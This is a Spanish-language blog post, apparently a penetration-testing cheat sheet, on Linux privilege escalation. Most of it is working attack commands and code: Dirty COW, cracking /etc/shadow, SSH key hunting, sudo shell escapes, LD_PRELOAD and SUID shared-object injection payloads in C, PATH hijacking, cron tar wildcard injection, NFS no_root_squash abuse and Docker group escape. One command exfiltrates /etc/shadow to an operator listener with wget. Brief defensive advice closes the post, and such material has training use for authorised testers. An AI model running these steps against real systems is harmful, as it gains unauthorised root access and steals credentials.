← Blog

Escalation Paths en Linux

Rutas de escalación de privilegios: kernel exploits, contraseñas almacenadas, permisos de archivos, sudo, SUID, capabilities, cron, NFS y Docker.

Escalation Paths en Linux

Operational Scope & Technical Objective

Cada vector de escalada parte de una primitiva concreta: un kernel vulnerable (CVE de escalada local), credenciales residuales (historial, configs, claves), permisos de archivos débiles (/etc/passwd//etc/shadow legibles), políticas sudo demasiado permisivas (shell escaping, LD_PRELOAD, bypass de user ID), binarios SUID mal diseñados (shared object injection, symlinks, variables de entorno), capabilities, cronjobs con PATH relativo o wildcards, exportaciones NFS con no_root_squash y membresía del grupo docker/lxd. El orden de explotación recomendado va de lo más determinista (config) a lo más frágil (kernel).

Kernel Exploits

uname -a
# Google o searchsploit con la versión exacta; descargar el exploit

./linux-exploit-suggester.sh    # candidatos de CVE para el kernel actual

# Dirty COW
gcc -pthread c0w.c -o cow
./cow       # escalada
passwd      # eleva el usuario a root

Stored Passwords

history
ls -la
cat .bash_history      # buscar contraseñas en el historial
su root                # usar la contraseña encontrada

find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
# buscar 'PASSWORD' en archivos del directorio actual

# complementar con linpeas.sh para hunting global de credenciales

File Permissions

ls -la /etc/passwd
ls -la /etc/shadow     # si es legible, se puede volcar el hash

cat /etc/passwd
cat /etc/shadow
# copiar ambos a la máquina del atacante

unshadow passwd shadow          # combinar líneas user:hash
# identificar el tipo de hash (hashcat wiki) y crackear con hashcat o john

su root    # switch con la contraseña crackeada

Hunting de claves SSH

find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null     # claves privadas

ls -la id_rsa
chmod 600 id_rsa
ssh root@10.10.10.12 -i id_rsa      # probar contra otros hosts
# revisar también ~/.ssh de otros usuarios

Sudo

Shell escaping

sudo -l                     # vim ejecutable con sudo → GTFObins
sudo vim -c ':!/bin/sh'     # shell root vía escape de vim

Funcionalidad intencional

sudo -l                     # apache2 ejecutable como root
sudo apache2 -f /etc/shadow # lectura de archivos vía -f (config)

sudo wget --post-file=/etc/shadow 10.10.14.12:8081
# exfiltrar /etc/shadow al listener del operador (puerto 8081)

LD_PRELOAD

sudo -l
# si la política conserva LD_PRELOAD (env var), se pueden cargar
# bibliotecas propias antes que las del binario autorizado

vim shell.c      # código de la biblioteca
gcc -fPIC -shared shell.c -o shell.so -nostartfiles   # -fPIC: código posición-independiente
sudo LD_PRELOAD=/home/user/shell.so less   # ruta absoluta del .so; less ejecutable con sudo
# → shell root
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

CVE-2019-14287 — bypass de !root en sudoers

sudo -l                 # política que excluye a root (ALL, !root)
sudo -u#-1 /bin/bash    # UID -1 se resuelve a 0 → shell root

CVE-2019-18634 — pwfeedback

cat /etc/sudoers
# vulnerable si 'pwfeedback' está activo (asteriscos al escribir la clave)
# y la versión de sudo es < 1.8.26
# compilar y ejecutar el exploit público → root

SUID

find / -perm -u=s -type f 2>/dev/null   # binarios con SUID
# exploit del binario según GTFObins → root

Shared object injection

ls -la /usr/local/bin/suid-so      # binario SUID
/usr/local/bin/suid-so

strace /usr/local/bin/suid-so 2>&1
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
# el trace menciona /home/user/.config/libcalc.so

ls -la /home/user/.config/libcalc.so   # no existe
ls -la /home/user                      # .config tampoco existe

# inyectar un .so malicioso en la ruta que el binario intenta cargar
vim libcalc.c
mkdir .config
gcc -shared -fPIC /home/user/libcalc.c -o /home/user/.config/libcalc.so

/usr/local/bin/suid-so    # al ejecutarlo carga nuestro .so → root
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Binary symlinks — CVE-2016-1247 (nginx)

dpkg -l | grep nginx     # vulnerable si nginx < 1.6.2

find / -type f -perm -04000 -ls 2>/dev/null   # SUID sobre sudo

ls -la /var/log/nginx    # permisos rwx sobre el directorio de logs

./nginxed-root.sh /var/log/nginx/error.log    # exploit CVE-2016-1247

invoke-rc.d nginx rotate >/dev/null 2>&1      # dispara el logrotate → root shell

Variables de entorno — binario que llama a un comando por nombre

env                # revisar variables
echo $PATH

find / -type f -perm -04000 -ls 2>/dev/null   # SUID

ls -la /usr/local/bin/suid-env
/usr/local/bin/suid-env
strings /usr/local/bin/suid-env
# el binario ejecuta 'service apache2 start' (ruta relativa)

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH       # /tmp se resuelve antes que los directorios del sistema
/usr/local/bin/suid-env      # ejecuta /tmp/service → root

Variables de entorno — binario con ruta absoluta

ls -la /usr/local/bin/suid-env2
strings /usr/local/bin/suid-env2
# referencia '/usr/sbin/service apache2 start' (ruta absoluta)

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

/usr/local/bin/suid-env2     # usa la función exportada → root

Capabilities

getcap -r / 2>/dev/null
# /usr/bin/python2.6 = cap_setuid+ep

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'   # → root

Scheduled Tasks

Cron — PATH relativo

cat /etc/crontab
# revisar la variable PATH del crontab y los archivos que ejecuta

ls -la /home/user          # overwrite.sh no existe → podemos crearlo
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh

# esperar a que el cronjob corra (≈1 min)
/tmp/bash -p               # → root

Cron — wildcards (tar --checkpoint)

cat /etc/crontab           # script cada minuto
cat /usr/local/bin/compress.sh
# ejecuta tar con wildcard (*) sobre el home del usuario

ls -la /usr/local/bin/compress.sh   # no es modificable

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh
chmod +x runme.sh

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\runme.sh
# wildcard injection: los nombres se interpretan como opciones de tar

# esperar el minuto; /tmp/bash -p → root

Cron — sobrescritura de archivo

cat /etc/crontab           # referencia overwrite.sh
locate overwrite.sh
ls -la /usr/local/bin/overwrite.sh    # con permisos de escritura

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
# esperar el minuto
ls -la /tmp
/tmp/bash -p               # → root

NFS Root Squashing

cat /etc/exports
# la opción 'no_root_squash' permite montar y ejecutar con UID 0 sin mapeo

# En la máquina del atacante
showmount -e 10.10.13.14            # lista de exportaciones → /tmp
mkdir /tmp/mountme
mount -o rw,vers=2 10.10.13.14:/tmp /tmp/mountme

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.c
gcc /tmp/mountme/x.c -o /tmp/mountme/x
chmod +s /tmp/mountme/x             # SUID como root (no squashed)

# En la víctima
cd /tmp
./x            # → root

Docker

id                      # ¿pertenece al grupo docker?
docker images
docker run -v /:/mnt --rm -it bash chroot /mnt sh   # montar / y chroot → root shell

Real-World Offensive/Defensive Scenarios

  • Secuencia de prioridad (ofensivo): 1) credenciales residuales (history/configs/claves), 2) sudo -l y SUID/SGID, 3) cron y capabilities, 4) NFS/Docker/LXD, 5) kernel. Los exploits de kernel son el último recurso por su riesgo de crash.
  • Sustitución de shell (defensivo): strace sobre binarios SUID custom es el método estándar para detectar shared objects cargados desde rutas modificables (open|access|no such file).
  • Defensa: deshabilitar no_root_squash en /etc/exports, fijar secure_path en sudoers, eliminar capabilities y SUID innecesarios, y no otorgar el grupo docker/lxd a usuarios no administradores.